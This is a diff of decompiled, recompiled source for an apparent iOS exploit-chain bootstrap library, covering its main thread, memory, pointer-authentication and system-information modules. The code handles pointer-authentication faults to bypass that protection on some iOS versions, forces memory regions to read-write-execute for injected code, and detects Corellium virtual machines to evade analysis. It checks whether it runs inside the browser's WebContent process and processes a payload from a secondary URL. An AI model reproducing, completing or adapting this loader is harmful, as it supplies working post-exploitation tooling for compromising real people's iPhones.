/* Install PAC SIGSEGV handler on iOS 13-14 arm64e only.
* On iOS 15+, the exploit uses a different PAC bypass strategy
* and does NOT need the SIGSEGV fault handler. */
uint16_t os_major = (ctx->os_version >> 16) & 0xFF;
print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac());
if (os_major <= 14 && has_pac()) {
/* Install SIGSEGV handler for PAC faults */
print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler");
struct sigaction sa, old_sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer;
sa.sa_flags = SA_SIGINFO;
if (sigaction(SIGSEGV, &sa, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err);
return (void *)(uintptr_t)err;
}
sig_installed = 1;
print_log("[bootstrap] thread_main: SIGSEGV handler installed");
}
/* Begin UIApplication background task */
UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid;
UIApplication *app = [UIApplication alloc];
print_log("[bootstrap] thread_main: UIApplication=%p", app);
if (!app) {
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
}
id expireBlock = ^{
print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task);
[app endBackgroundTask:bg_task];
//bg_task = UIBackgroundTaskInvalid;
};
// uint64_t underlyingClass = *(uint64_t*)expireBlock;
// __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48)));
// *(uint64_t*)expireBlock = underlyingClass;
bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock];
print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task);
/* Process the payload */
char *url = ctx->secondary_url;
print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)");
if (url) {
err = process_payload(ctx, url, 0, &result);
print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result);
if (err == 0)
err = result;
} else {
err = 0;
}
/* End background task if it was started */
if (bg_task != UIBackgroundTaskInvalid) {
print_log("[bootstrap] thread_main: ending background task");
[app endBackgroundTask:bg_task];
bg_task = UIBackgroundTaskInvalid;
}
/* Restore SIGSEGV handler if we installed one */
if (sig_installed) {
print_log("[bootstrap] thread_main: restoring SIGSEGV handler");
struct sigaction old_sa;
if (sigaction(SIGSEGV, NULL, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err);
}
}
/* Check if exit requested */
if (ctx->flag_exit) {
print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)");
_exit(0);
}
cleanup:
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
done:
print_log("[bootstrap] thread_main: done err=0x%x", err);
return (void *)(uintptr_t)err;
}
+286
View File
@@ -0,0 +1,286 @@
/*
* memory.m - Cache, buffer allocation, and memory region management
*
* Decompiled from bootstrap.dylib offsets 0x5dc8-0x5fe8, 0x8298-0x842c
*/
#import "bootstrap.h"
#import <string.h>
#import <unistd.h>
#import <mach/mach.h>
#import <libkern/OSAtomic.h>
extern void sys_dcache_flush(void *addr, size_t size);
extern void sys_icache_invalidate(void *addr, size_t size);
extern int proc_pidinfo(int pid, int flavor, uint64_t arg,
void *buf, int bufsize);
/* ── flush_icache (0x5dc8) ───────────────────────────────────────── */
void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size)
{
uint8_t *base;
uint32_t total;
if (addr && size) {
base = (uint8_t *)addr;
total = size;
} else {
total = ctx->exec_size;
if (total == 0) return;
base = ctx->exec_base;
}
print_log("[bootstrap] flush_icache: base=%p size=0x%x", base, total);
uint32_t offset = 0;
uint32_t remaining = total;
while (total > offset) {
uint32_t chunk = remaining;
if (chunk > 0x50000)
chunk = 0x50000;
sys_dcache_flush(base + offset, chunk);
sys_icache_invalidate(base + offset, chunk);
offset += 0x50000;
remaining = total - offset;
}
}
/* ── alloc_buffer (0x5e78) ───────────────────────────────────────── */
uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size)
{
print_log("[bootstrap] alloc_buffer: size=0x%x", size);
uint8_t *exec_base = ctx->exec_base;
uint32_t exec_size = ctx->exec_size;
uint32_t *state = ctx->atomic_state;
if (!state)
state = (uint32_t *)(exec_base + exec_size - 4);
for (;;) {
uint32_t current = __atomic_load_n(state, __ATOMIC_ACQUIRE);
uint32_t add = size;
if (current == 0)
add += 4;
uint32_t new_val = current + add;
if (new_val > exec_size) {
print_log("[bootstrap] alloc_buffer: FAIL size exceeds exec region (0x%x > 0x%x)", new_val, exec_size);
return 0xc003;
}
uint32_t expected = current;
if (__atomic_compare_exchange_n(state, &expected, new_val,
0, __ATOMIC_ACQ_REL,
__ATOMIC_ACQUIRE))
{
uint8_t *ptr = exec_base + exec_size - new_val;
ctx->buffer_ptr = ptr;
ctx->buffer_remaining = size;
bzero(ptr, (size_t)size);
if (ctx->fn_icache_flush)
ctx->fn_icache_flush(ctx, ctx->buffer_ptr, ctx->buffer_remaining);
print_log("[bootstrap] alloc_buffer: OK ptr=%p", ptr);
return 0;
}
}
}
/* ── consume_buffer (0x5f4c) ─────────────────────────────────────── */
void *consume_buffer(bootstrap_ctx_t *ctx, uint32_t size)
{
if (ctx->buffer_remaining < size)
return NULL;
uint8_t *old = ctx->buffer_ptr;
ctx->buffer_ptr = old + size;
ctx->buffer_remaining -= size;
return old;
}
/* ── secure_bzero (0x5fa0) ───────────────────────────────────────── */
uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size)
{
if (ptr && size)
bzero(ptr, size);
return 0;
}
/* ── ensure_rwx_protection ───────────────────────────────────────── */
/* On modern iOS (14.5+), JIT regions may have current protection ---
* with max protection rwx. We need to vm_protect them to rwx before use.
*/
static uint32_t ensure_rwx_protection(uint64_t addr, uint64_t size,
uint32_t cur_prot, uint32_t max_prot)
{
if (cur_prot == 0x7) {
/* Already rwx */
return 0;
}
if (max_prot != 0x7) {
print_log("[bootstrap] ensure_rwx_protection: max_prot=0x%x (not rwx), cannot fix", max_prot);
return 0xc001;
}
print_log("[bootstrap] ensure_rwx_protection: promoting ---/rwx -> rwx/rwx at 0x%llx size=0x%llx",
(unsigned long long)addr, (unsigned long long)size);
kern_return_t kr = vm_protect(mach_task_self(), (vm_address_t)addr,
(vm_size_t)size, 0,
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
print_log("[bootstrap] ensure_rwx_protection: vm_protect FAIL kr=0x%x", kr);
return kr | 0x80000000;
}
return 0;
}
/* ── setup_memory (0x8298) ───────────────────────────────────────── */
uint32_t setup_memory(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] setup_memory: flag_a=%d flag_b=%d flag_direct_mem=%d", ctx->flag_a, ctx->flag_b, ctx->flag_direct_mem);
if (ctx->flag_a || ctx->flag_b || ctx->flag_direct_mem) {
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
if (!ctx->flag_b && !ctx->flag_direct_mem) {
ctx->buffer_remaining = 0;
return 0;
}
return 0;
}
uint32_t os_ver = ctx->os_version;
print_log("[bootstrap] setup_memory: os_ver=0x%x", os_ver);
if (os_ver >= 0x0F0000) {
/* iOS 15+: use proc_pidinfo (PROC_PIDREGIONINFO = 7) */
/* Returns struct proc_regioninfo (0x60 bytes):
* +0x00: pri_protection (uint32_t)
* +0x04: pri_max_protection (uint32_t)
* ...
* +0x50: pri_address (uint64_t)
* +0x58: pri_size (uint64_t)
*/
struct {
uint8_t data[0x60];
} info;
int ret = proc_pidinfo(getpid(), 7,
(uint64_t)ctx->buffer_ptr,
&info, 0x60);
if (ret <= 0) {
print_log("[bootstrap] setup_memory: proc_pidinfo FAIL ret=%d", ret);
return 0x80000005;
}
uint64_t region_addr = *(uint64_t *)((uint8_t *)&info + 0x50);
uint64_t region_size = *(uint64_t *)((uint8_t *)&info + 0x58);
uint32_t prot = *(uint32_t *)((uint8_t *)&info);
uint32_t max_prot = *(uint32_t *)((uint8_t *)&info + 4);
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
(unsigned long long)region_addr, (unsigned long long)region_size, prot, max_prot);
if (!ctx->mmap_secondary && prot != 0x7) {
/* Current protection is not rwx — try to promote if max allows */
uint32_t fix_err = ensure_rwx_protection(region_addr, region_size, prot, max_prot);
if (fix_err) {
print_log("[bootstrap] setup_memory: cannot get rwx protection");
return fix_err;
}
}
if (!region_addr || !region_size)
return 0xc003;
uint64_t half = region_size >> 1;
if (half > region_size)
return 0xc003;
uint32_t *end = (uint32_t *)(region_addr + half);
end--;
if (half < *end)
return 0xc003;
ctx->atomic_state = end;
ctx->exec_base = (uint8_t *)(region_addr + half);
uint32_t usable;
if (ctx->flag_new_ios)
usable = (uint32_t)(half - 0x100000);
else
usable = (uint32_t)(region_size >> 2);
ctx->exec_size = usable;
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
print_log("[bootstrap] setup_memory: iOS15+ exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
goto install_funcs;
}
/* Pre-iOS 15: use vm_region_64 */
{
mach_vm_address_t addr = (mach_vm_address_t)ctx->buffer_ptr;
mach_vm_size_t size_out = 0;
vm_region_flavor_t flavor = 9;
vm_region_basic_info_data_64_t info;
mach_msg_type_number_t count = 9;
mach_port_t object_name;
kern_return_t kr = vm_region_64(mach_task_self(),
(vm_address_t *)&addr,
(vm_size_t *)&size_out,
flavor,
(vm_region_info_t)&info,
&count,
&object_name);
if (kr != KERN_SUCCESS) {
print_log("[bootstrap] setup_memory: vm_region_64 FAIL kr=0x%x", kr);
return kr | 0x80000000;
}
uint32_t prot = info.protection;
uint32_t max_prot = info.max_protection;
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
(unsigned long long)addr, (unsigned long long)size_out, prot, max_prot);
if (!ctx->mmap_secondary && prot != 0x7) {
/* Current protection is not rwx — try to promote if max allows */
uint32_t fix_err = ensure_rwx_protection(addr, size_out, prot, max_prot);
if (fix_err) {
print_log("[bootstrap] setup_memory: cannot get rwx protection");
return fix_err;
}
}
if (!addr || !size_out)
return 0xc003;
uint64_t half = size_out >> 1;
uint32_t *end = (uint32_t *)(addr + half);
end--;
if (half < *end)
return 0xc003;
ctx->atomic_state = end;
ctx->exec_base = (uint8_t *)(addr + half);
uint32_t usable;
if (ctx->flag_new_ios)
usable = (uint32_t)(half - 0x100000);
else
usable = (uint32_t)(size_out >> 2);
ctx->exec_size = usable;
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
print_log("[bootstrap] setup_memory: pre-15 exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
}
install_funcs:
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
print_log("[bootstrap] setup_memory: OK");
return 0;
}
+128
View File
@@ -0,0 +1,128 @@
/*
* pac.m - Pointer Authentication Code utilities
*
* Decompiled from bootstrap.dylib offsets 0x5cec-0x5dc4, 0x6fec-0x708c,
* 0x7ba0-0x7be8
*/
#import "bootstrap.h"
#import <stdlib.h>
/* ── Raw PAC instruction wrappers (0x7ba0-0x7bbc) ────────────────── */
__attribute__((noinline))
uint64_t pacia(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacda(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacib(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacdb(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* ── check_pac_enabled (0x7bc0) ──────────────────────────────────── */
int check_pac_enabled(void)
{
uint64_t test_val = 0xAAAAAAAAAAAAAAAAULL;
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(test_val)
: "x30"
);
int enabled = (result != test_val) ? 1 : 0;
print_log("[bootstrap] check_pac_enabled: %d", enabled);
return enabled;
}
/* ── has_pac (0x5cec) ────────────────────────────────────────────── */
int has_pac(void)
{
return check_pac_enabled() != 0 ? 1 : 0;
}
/* ── strip_pac (0x5d2c) ─────────────────────────────────────────── */
uint64_t strip_pac(uint64_t ptr)
{
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(ptr)
: "x30"
);
return result;
}
/* ── pac_sign_if_needed (0x5d68) ─────────────────────────────────── */
uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx)
{
if (check_pac_enabled())
ptr = pacia(ptr, ctx);
return ptr;
}
/* ── resolve_pac_pointer (0x6fec) ─────────────────────────────────
* SIGSEGV handler for PAC authentication faults.
*/
void resolve_pac_pointer(int sig, void *info, void *ucontext)
{
print_log("[bootstrap] resolve_pac_pointer: sig=%d", sig);
uint64_t *mctx = *(uint64_t **)((uint8_t *)ucontext + 0x30);
uint64_t pc = *(uint64_t *)((uint8_t *)mctx + 0x110);
uint64_t upper = pc >> 39;
if (upper == 0x4000) {
pc &= ~(1ULL << 53);
} else {
uint64_t x0_val = mctx[0];
uint64_t masked = x0_val & 0xFFFFFF8000000000ULL;
if (masked == 0x2000000000000000ULL) {
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
if (x0_low != pc_low)
abort();
} else if (masked == 0x0020000000000000ULL) {
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
if (x0_low != pc_low)
abort();
} else {
abort();
}
pc = pac_sign_if_needed(x0_val & 0x7FFFFFFFFFULL, 0x7481);
}
*(uint64_t *)((uint8_t *)mctx + 0x110) = pc;
print_log("[bootstrap] resolve_pac_pointer: fixed PC=0x%llx", pc);
}
+466
View File
@@ -0,0 +1,466 @@
/*
* sysinfo.m - System information gathering and device checks
*
* Decompiled from bootstrap.dylib offsets 0x7090-0x7b9c
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <unistd.h>
#import <sys/stat.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
#import <dlfcn.h>
#import <CoreFoundation/CoreFoundation.h>
extern int sandbox_check(pid_t pid, const char *operation, int type, ...);
extern int SANDBOX_CHECK_NO_REPORT;
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
extern kern_return_t host_kernel_version(mach_port_t, char *);
/* ── get_cpufamily ─────────────────────────────────────────────── */
/* Replacement for broken _get_cpu_capabilities commpage access.
* The original binary read CPUFAMILY from commpage offset +0x80
* via the GOT layout that layout doesn't exist in our recompile.
* Use the stable sysctl interface instead.
*/
static uint32_t get_cpufamily(void)
{
uint32_t cpufamily = 0;
size_t size = sizeof(cpufamily);
if (sysctlbyname("hw.cpufamily", &cpufamily, &size, NULL, 0) != 0) {
print_log("[bootstrap] get_cpufamily: sysctl FAIL");
return 0;
}
return cpufamily;
}
/* ── read_plist (0x7a98) ────────────────────────────────────────── */
void *read_plist(const char *path)
{
print_log("[bootstrap] read_plist: %s", path);
CFErrorRef error = NULL;
CFAllocatorRef alloc = kCFAllocatorDefault;
size_t len = strlen(path);
CFURLRef url = CFURLCreateFromFileSystemRepresentation(alloc, (const UInt8 *)path, len, false);
if (!url)
return NULL;
CFReadStreamRef stream = CFReadStreamCreateWithFile(alloc, url);
if (!stream) {
CFRelease(url);
return NULL;
}
if (!CFReadStreamOpen(stream)) {
CFRelease(url);
CFRelease(stream);
return NULL;
}
CFPropertyListRef plist = CFPropertyListCreateWithStream(
alloc, stream, 0, kCFPropertyListImmutable, NULL, &error);
if (!plist && error)
CFRelease(error);
CFReadStreamClose(stream);
CFRelease(url);
CFRelease(stream);
return (void *)plist;
}
/* ── get_os_version (0x7090) ────────────────────────────────────── */
int get_os_version(uint32_t *out)
{
int patch = 0;
CFDictionaryRef plist = (CFDictionaryRef)read_plist(
"/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist");
if (!plist) {
plist = (CFDictionaryRef)read_plist(
"/System/Library/CoreServices/SystemVersion.plist");
if (!plist) {
print_log("[bootstrap] get_os_version: FAIL no SystemVersion.plist");
return -1;
}
}
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault,
"ProductVersion", kCFStringEncodingUTF8);
if (!key) {
CFRelease(plist);
return -1;
}
CFTypeRef value = CFDictionaryGetValue(plist, key);
if (!value) {
CFRelease(key);
CFRelease(plist);
return -1;
}
if (CFGetTypeID(value) != CFStringGetTypeID()) {
CFRelease(key);
CFRelease(plist);
return -1;
}
char buf[0x20];
Boolean ok = CFStringGetCString((CFStringRef)value, buf, 0x20, CFStringGetSystemEncoding());
CFRelease(key);
CFRelease(plist);
if (!ok)
return -1;
int major = 0, minor = 0;
if (sscanf(buf, "%d.%d.%d", &major, &minor, &patch) < 2)
return -2;
*out = (uint32_t)((major << 16) | (minor << 8) | patch);
print_log("[bootstrap] get_os_version: %s -> 0x%x (major=%d minor=%d patch=%d)", buf, *out, major, minor, patch);
return 0;
}
/* ── check_virtual_env (0x71fc) ─────────────────────────────────── */
uint32_t check_virtual_env(uint8_t *result)
{
if (!result)
return -1;
print_log("[bootstrap] check_virtual_env: start");
struct stat st;
memset(&st, 0, sizeof(st));
if (stat("/usr/libexec/corelliumd", &st) == 0) {
print_log("[bootstrap] check_virtual_env: Corellium daemon found");
*result = 0;
return 0;
}
if (sandbox_check(getpid(), "iokit-get-properties",
SANDBOX_CHECK_NO_REPORT,
"IOPlatformSerialNumber") > 0)
goto cpu_check;
{
void *iokit = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", 1);
if (!iokit)
goto cpu_check;
void *sym_master = dlsym(iokit, "kIOMasterPortDefault");
uint64_t master_ptr = strip_pac((uint64_t)sym_master);
void *sym_entry = dlsym(iokit, "IORegistryEntryFromPath");
uint64_t entry_fn = strip_pac((uint64_t)sym_entry);
void *sym_prop = dlsym(iokit, "IORegistryEntryCreateCFProperty");
uint64_t prop_fn = strip_pac((uint64_t)sym_prop);
void *sym_release = dlsym(iokit, "IOObjectRelease");
uint64_t release_fn = strip_pac((uint64_t)sym_release);
if (!entry_fn || !prop_fn || !release_fn || !master_ptr) {
dlclose(iokit);
goto cpu_check;
}
typedef uint32_t (*io_entry_fn_t)(uint32_t, const char *);
uint32_t master = *(uint32_t *)master_ptr;
uint32_t entry = ((io_entry_fn_t)entry_fn)(master, "IODeviceTree:/");
if (!entry) {
dlclose(iokit);
goto cpu_check;
}
CFStringRef serial_key = CFStringCreateWithCString(
kCFAllocatorDefault, "IOPlatformSerialNumber", kCFStringEncodingUTF8);
int serial_ok = -1;
char serial_buf[0x40];
memset(serial_buf, 0, sizeof(serial_buf));
if (!serial_key) {
serial_ok = -1;
} else {
typedef CFTypeRef (*io_prop_fn_t)(uint32_t, CFStringRef, CFAllocatorRef, uint32_t);
CFTypeRef prop = ((io_prop_fn_t)prop_fn)(entry, serial_key, kCFAllocatorDefault, 0);
if (!prop || CFStringGetTypeID() != CFGetTypeID(prop)) {
serial_ok = -1;
} else {
Boolean got = CFStringGetCString((CFStringRef)prop, serial_buf, 0x40, kCFStringEncodingUTF8);
serial_ok = got ? 0 : -1;
CFRelease(prop);
}
CFRelease(serial_key);
}
typedef void (*io_release_fn_t)(uint32_t);
((io_release_fn_t)release_fn)(entry);
dlclose(iokit);
if (serial_ok == 0) {
print_log("[bootstrap] check_virtual_env: serial=%s", serial_buf);
uint64_t first8 = *(uint64_t *)serial_buf;
uint64_t corelliu = 0x49554C4C45524F43ULL;
uint8_t ninth = serial_buf[8];
memset(serial_buf, 0, sizeof(serial_buf));
if ((first8 ^ corelliu) == 0 && (ninth ^ 0x4D) == 0) {
print_log("[bootstrap] check_virtual_env: CORELLIUM serial detected");
*result = 0;
return 0;
}
}
}
cpu_check:
/* Original binary read from commpage via _get_cpu_capabilities GOT
* offset chain. That layout doesn't exist in our recompile.
* Use hw.cpufamily sysctl instead for SoC identification.
* The VM-specific bit checks (commpage +0x10 bit 26, +0x26 == 0x80)
* cannot be replicated via sysctl Corellium detection above
* already covers the main virtual environment case.
*/
{
uint32_t soc = get_cpufamily();
print_log("[bootstrap] check_virtual_env: cpufamily=0x%x", soc);
if (soc == 0) {
/* Can't determine CPU family */
*result = 0;
return -1;
}
/* Real hardware detected — Corellium checks above didn't trigger */
*result = 1;
print_log("[bootstrap] check_virtual_env: result=%d", *result);
return 0;
}
}
/* ── check_device_a (0x7524) ────────────────────────────────────── */
int check_device_a(uint8_t *out)
{
if (!out)
return -1;
*out = 0;
uint32_t soc = get_cpufamily();
if (!soc)
return -2;
uint8_t device = 0;
if (soc <= (int32_t)SOC_TYPE_C) {
if (soc == SOC_TYPE_A || soc == SOC_TYPE_B) {
if (check_virtual_env(&device) != 0)
return -3;
}
} else {
if (soc == SOC_TYPE_D || soc == SOC_TYPE_E || soc == SOC_TYPE_F) {
if (check_virtual_env(&device) != 0)
return -3;
}
}
*out = device;
print_log("[bootstrap] check_device_a: cpufamily=0x%x device=%d", soc, device);
return 0;
}
/* ── check_device_b (0x7638) ────────────────────────────────────── */
int check_device_b(uint8_t *out)
{
if (!out)
return -1;
uint32_t soc = get_cpufamily();
if (!soc)
return -2;
if (soc == SOC_DEVICE_B_A || soc == SOC_DEVICE_B_B) {
uint8_t device = 1;
if (check_virtual_env(&device) != 0)
return -3;
*out = device;
} else {
*out = 0;
}
print_log("[bootstrap] check_device_b: cpufamily=0x%x out=%d", soc, *out);
return 0;
}
/* ── init_system_info (0x7720) ──────────────────────────────────── */
uint32_t init_system_info(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] init_system_info: start");
mach_msg_type_number_t count = 5;
struct {
uint64_t all_images_addr;
uint64_t all_images_size;
} dyld_info;
memset(&dyld_info, 0, sizeof(dyld_info));
kern_return_t kr = task_info(mach_task_self(), 17,
(task_info_t)&dyld_info, &count);
uint64_t all_images = dyld_info.all_images_addr;
if (kr != 0 || !all_images) {
print_log("[bootstrap] init_system_info: task_info FAIL kr=%d", kr);
return -1;
}
uint64_t info_array = *(uint64_t *)((uint8_t *)all_images + 0x20);
if (!info_array)
return -1;
uint32_t soc_ver = *(uint32_t *)((uint8_t *)info_array + 0x4);
uint32_t soc_sub = *(uint32_t *)((uint8_t *)info_array + 0x8) & 0xFFFFFF;
ctx->soc_version = soc_ver;
ctx->soc_subversion = soc_sub;
print_log("[bootstrap] init_system_info: soc_ver=0x%x soc_sub=0x%x", soc_ver, soc_sub);
uint32_t n_images = *(uint32_t *)((uint8_t *)all_images + 0x4);
if (!n_images)
return -1;
uint8_t *image_list = *(uint8_t **)((uint8_t *)all_images + 0x8);
if (!image_list)
return -1;
char *path0 = *(char **)(image_list + 0x8);
uint8_t is_wc = 0;
if (strstr(path0, "WebContent")) {
is_wc = 1;
} else {
uint8_t *last = image_list + (uint64_t)(n_images - 1) * 0x18;
char *path_last = *(char **)(last + 0x8);
is_wc = strstr(path_last, "WebContent") ? 1 : 0;
}
ctx->is_webcontent = is_wc;
print_log("[bootstrap] init_system_info: is_webcontent=%d", is_wc);
/* Use sysctl for CPU identification instead of commpage reads */
uint32_t cpufamily = get_cpufamily();
if (!cpufamily) {
print_log("[bootstrap] init_system_info: get_cpufamily FAIL");
return -1;
}
ctx->cpu_type = cpufamily;
/* cpu_features: not used by bootstrap itself, set to 0.
* Original binary read from commpage offset +0x38 which is
* no longer accessible via our recompiled GOT layout. */
ctx->cpu_features = 0;
print_log("[bootstrap] init_system_info: cpu_type=0x%x (cpufamily)", ctx->cpu_type);
uint32_t os_ver;
int ret = get_os_version(&os_ver);
if (ret != 0) {
print_log("[bootstrap] init_system_info: get_os_version FAIL ret=%d", ret);
return ret;
}
ctx->os_version = os_ver;
char kern_str_[0x200] = {0};
char *kern_str = kern_str_;
if ((os_ver & 0xFE0000) > 0xD0000) {
uint32_t name[2] = { CTL_KERN, KERN_VERSION };
size_t len = 0x200;
if (sysctl((int *)name, 2, kern_str, &len, NULL, 0) != 0) {
print_log("[bootstrap] init_system_info: sysctl kern FAIL");
return -2;
}
} else {
if (host_kernel_version(mach_host_self(), kern_str) != 0)
return -2;
}
print_log("[bootstrap] init_system_info: kernel=%s", kern_str);
if (!strstr(kern_str, "RELEASE")) {
print_log("[bootstrap] init_system_info: kernel is not RELEASE");
return -3;
}
if (!(kern_str = strstr(kern_str, "xnu-"))) {
print_log("[bootstrap] init_system_info: kernel does not contain xnu-");
return -4;
}
uint32_t xnu_maj = 0, xnu_min = 0, xnu_rev = 0, xnu_bld = 0, xnu_sub = 0;
if (sscanf(kern_str, "xnu-%d.%d.%d.%d.%d%*s",
&xnu_maj, &xnu_min, &xnu_rev, &xnu_bld, &xnu_sub) <= 2) {
print_log("[bootstrap] init_system_info: kernel version parsing failed");
//return -5;
}
ctx->kernel_version = (xnu_maj << 18) | (xnu_min << 9) | xnu_rev;
uint64_t xv = ((uint64_t)(xnu_maj & 0x7FFF) << 20) |
((uint64_t)xnu_min << 10) |
(uint64_t)(xnu_rev & 0x3FF);
xv = (xv << 20) | ((uint64_t)(xnu_bld << 10) & 0xFFC00) |
(uint64_t)(xnu_sub & 0x3FF);
ctx->xnu_version = xv;
uint8_t dev_type;
if (check_device_b(&dev_type) != 0) {
print_log("[bootstrap] init_system_info: check_device_b FAIL");
return ret;
}
ctx->flag_is_release = dev_type;
uint8_t dev_a;
if (check_device_a(&dev_a) != 0) {
print_log("[bootstrap] init_system_info: check_device_a FAIL");
return ret;
}
ctx->flag_device_type = dev_a;
uint8_t new_ios = 0;
if (soc_ver == 0x01000C && soc_sub >= 2) {
uint8_t major = (os_ver >> 16) & 0xFF;
if (major > 12) {
new_ios = 1;
} else if (major == 12) {
new_ios = ((os_ver & 0xFF00) != 0) ? 1 : 0;
}
}
ctx->flag_new_ios = new_ios;
uint8_t a15_feat = 0;
if (dev_a) {
uint32_t ver = ctx->os_version;
if ((ver >> 10) >= 0x3C1) {
uint32_t cpu = ctx->cpu_type;
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || cpu == SOC_TYPE_F) {
a15_feat = 1;
}
}
}
ctx->flag_a15_features = a15_feat;
print_log("[bootstrap] init_system_info: OK os=0x%x new_ios=%d dev_a=%d a15=%d", os_ver, new_ios, dev_a, a15_feat);
return 0;
}